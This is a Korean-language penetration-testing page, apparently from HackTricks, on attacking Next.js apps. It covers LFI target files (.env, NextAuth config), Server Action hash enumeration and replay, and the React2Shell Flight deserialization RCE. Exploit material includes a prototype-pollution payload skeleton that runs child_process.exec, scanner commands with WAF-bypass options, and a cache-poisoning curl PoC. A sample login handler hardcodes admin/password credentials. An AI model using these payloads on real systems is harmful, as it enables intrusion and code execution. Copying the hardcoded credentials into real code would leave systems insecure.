참고: 변수를 서버 측에서만 제한하려면 env 객체에서 해당 변수를 생략하거나 클라이언트에 노출하려면 NEXT_PUBLIC_로 접두하세요.

LFI/download endpoints를 통해 타깃으로 삼기 좋은 유용한 서버 아티팩트

Next.js 앱에서 path traversal 또는 download API를 발견하면, 서버 측 비밀과 인증 로직을 leak하는 컴파일된 아티팩트들을 대상으로 삼으세요:

  • .env / .env.local — 세션 시크릿과 provider 자격증명.
  • .next/routes-manifest.json.next/build-manifest.json — 전체 라우트 목록.
  • .next/server/pages/api/auth/[...nextauth].js — 컴파일된 NextAuth configuration 복구(종종 process.env 값이 unset일 때 fallback passwords 포함).
  • next.config.js / next.config.mjs — rewrites, redirects 및 미들웨어 라우팅 검토.

Authentication and Authorization

접근 방식:

  • Session-Based Authentication: 쿠키를 사용해 사용자 세션을 관리합니다.
  • Token-Based Authentication: 무상태 인증을 위해 JWTs를 구현합니다.
  • Third-Party Providers: next-auth 같은 라이브러리를 사용해 OAuth 제공자(e.g., Google, GitHub)와 통합합니다.

보안 관행:

  • Secure Cookies: HttpOnly, Secure, SameSite 속성을 설정하세요.
  • Password Hashing: 저장하기 전에 항상 비밀번호를 해시하세요.
  • Input Validation: 입력을 검증하고 정제하여 인젝션 공격을 방지하세요.

예시:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

성능 최적화

전략:

  • 이미지 최적화: 자동 이미지 최적화를 위해 Next.js의 next/image 컴포넌트를 사용하세요.
  • 코드 분할: 동적 import를 활용해 코드를 분할하고 초기 로드 시간을 줄이세요.
  • 캐싱: API 응답과 정적 자산에 대한 캐싱 전략을 구현하세요.
  • 지연 로딩: 필요할 때만 컴포넌트나 자산을 로드하세요.

예시:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions 열거 (hash to function name via source maps)

최신 Next.js는 서버에서 실행되지만 클라이언트에서 호출되는 “Server Actions”를 사용합니다. 운영 환경에서는 이러한 호출들이 불투명합니다: 모든 POST는 공통 엔드포인트에 도착하며 Next-Action 헤더에 전송되는 빌드별 hash로 구분됩니다. 예:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps가 활성화되어 있으면, minified JS chunks는 createServerReference(...) 호출을 포함하고 있어, 충분한 구조(및 관련 소스 맵)를 leak하여 action 해시와 원래 함수 이름 간의 매핑을 복원할 수 있습니다. 이를 통해 Next-Action에서 관찰된 해시를 deleteUserAccount()exportFinancialData() 같은 구체적인 대상으로 변환할 수 있습니다.

추출 접근법 (regex on minified JS + optional source maps)

다운로드한 JS chunks에서 createServerReference를 검색해 해시와 함수/소스 심볼을 추출하세요. 유용한 두 패턴:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • 그룹 1: 서버 액션 hash (40+ hex chars)
  • 그룹 2: source map이 존재할 때 이를 통해 원본 함수로 해석될 수 있는 symbol 또는 path

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

실전 워크플로우

  • Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
  • Fetch the referenced JS bundles and accompanying *.map files (when present).
  • Run the regex above to build a hash↔name dictionary.
  • Use the dictionary to target testing:
  • 이름 기반 분류(예: transferFunds, exportFinancialData).
  • 함수 이름으로 빌드 간 커버리지 추적(hashes rotate across builds).

숨겨진 액션 실행(템플릿 기반 요청)

Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater에서 재생하여 접근 불가능한 액션들의 권한 검사, 입력 검증 및 비즈니스 로직을 테스트하세요.

Burp automation

  • NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:
  • 프록시 히스토리에서 JS 청크를 수집하고, createServerReference(...) 항목을 추출하며 소스맵이 있으면 파싱합니다.
  • 검색 가능한 hash↔function-name 사전을 유지하고 함수 이름으로 빌드 간 중복을 제거합니다.
  • 유효한 템플릿 POST를 찾아 대상 액션의 hash를 교체한 채 전송 준비된 Repeater 탭을 엽니다.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

  • productionBrowserSourceMaps가 프로덕션에서 활성화되어 있어야 번들/소스맵으로부터 이름을 복구할 수 있습니다.
  • 함수 이름 공개 자체만으로는 취약점이 아닙니다; 이를 이용해 탐색을 안내하고 각 액션의 권한 검사를 테스트하세요.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router 배포 중 react-server-dom-webpack **19.0.0–19.2.0 (Next.js 15.x/16.x)**에서 Server Actions를 노출하면 Flight 청크 역직렬화 중에 심각한 서버측 prototype pollution이 발생합니다. Flight 페이로드 내부에 $ 참조를 조작하면 공격자는 오염된 프로토타입에서 임의의 JavaScript 실행으로, 이어서 Node.js 프로세스 내에서 OS 명령 실행으로 전환할 수 있습니다.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

  1. Prototype pollution primitive: "then": "$1:__proto__:then"를 설정하면 resolver가 Object.prototypethen 함수를 작성합니다. 그 이후에 처리되는 어떤 일반 객체도 thenable이 되어 공격자가 RSC 내부의 비동기 제어 흐름에 영향을 줄 수 있습니다.
  2. Rebinding to the global Function constructor: _response._formData.get"$1:constructor:constructor"로 가리키게 합니다. 해석 과정에서 object.constructorObject, 그리고 Object.constructorFunction이므로 이후의 _formData.get() 호출은 실제로 Function(...)을 실행합니다.
  3. Code execution via _prefix: JavaScript 소스를 _response._prefix에 넣습니다. 오염된 _formData.get가 호출되면 프레임워크가 Function(_prefix)(...)을 평가하므로 주입된 JS는 require('child_process').exec() 또는 다른 Node 원시 기능을 실행할 수 있습니다.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function 노출 매핑

React Server Functions (RSF)는 'use server'; 지시문을 포함하는 모든 함수입니다. 해당 함수에 바인딩된 모든 form action, mutation, 또는 fetch helper는 RSC Flight endpoint가 되어 공격자가 제공한 payload를 기꺼이 역직렬화합니다. React2Shell 평가에서 도출된 유용한 recon 단계:

  • 정적 인벤토리: 지시문을 찾아 프레임워크가 자동으로 노출하는 RSF의 수를 파악하세요.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app는 기본적으로 App Router와 app/ 디렉터리를 활성화하며, 이로 인해 모든 라우트가 조용히 RSC-capable endpoint로 바뀝니다. App Router 자산(예: /_next/static/chunks/app/)이나 text/x-component로 Flight 청크를 스트리밍하는 응답은 인터넷에 노출되는 강한 지문(fingerprint)입니다.
  • Implicitly vulnerable RSC deployments: React의 어드바이저리는 RSC 런타임을 포함해 배포되는 앱이 명시적 RSFs 없이도 취약할 수 있다고 언급하므로, react-server-dom-* 19.0.0–19.2.0을 사용하는 모든 빌드를 의심 대상으로 취급하십시오.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku 등은 동일한 serializer를 재사용하며, 패치된 React 빌드를 포함할 때까지 동일한 remote attack surface를 물려받습니다.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: 취약 — 19.0.0, 19.1.0–19.1.1 및 19.2.0; 패치됨 — 각각 19.0.1, 19.1.2 및 19.2.1.
  • Next.js stable: App Router releases 15.0.0–16.0.6는 취약한 RSC 스택을 포함합니다. 패치 트레인 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7에는 수정된 종속성이 포함되어 있으므로, 그 버전들보다 낮은 빌드는 높은 가치가 있습니다.
  • Next.js canary: 14.3.0-canary.77+도 버그가 있는 런타임을 포함하며 현재 패치된 canary 릴리스가 없어, 해당 지문들은 강력한 악용 후보가 됩니다.

Remote detection oracle

Assetnote’s react2shell-scanner 는 조작된 multipart Flight 요청을 후보 경로로 보내고 서버측 동작을 관찰합니다:

  • Default mode는 결정론적 RCE payload(수학 연산이 X-Action-Redirect로 반영되는)를 실행하여 코드 실행을 증명합니다.
  • --safe-check mode는 의도적으로 Flight 메시지를 비정상화하여 패치된 서버는 200/400을 반환하는 반면, 취약한 대상은 바디에 E{"digest" 부분 문자열을 포함하는 HTTP/500 응답을 방출합니다. 이 (500 + digest) 쌍은 현재 방어자들이 공개한 가장 신뢰할 수 있는 원격 오라클입니다.
  • 내장된 --waf-bypass, --vercel-waf-bypass, 및 --windows 스위치는 payload 레이아웃을 조정하고, junk를 앞에 붙이거나 OS 명령을 교체하여 실제 인터넷 자산을 probe할 수 있게 합니다.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

기타 최근 App Router 이슈 (2025년 말)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a text/x-component body with abusive $ references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.
  • Triage tip: 미패치 대상은 잘못된 Flight 페이로드 후 E{"digest"를 포함한 500을 반환합니다; 패치된 빌드는 400/200을 반환합니다. 이미 Flight 청크를 스트리밍하는 엔드포인트( Next-Action 헤더 또는 text/x-component 응답을 찾으세요)를 테스트하고 수정된 페이로드로 재생하세요.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – missing Vary let an Accept: text/x-component response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. 테스트 후 캐시를 정리하세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기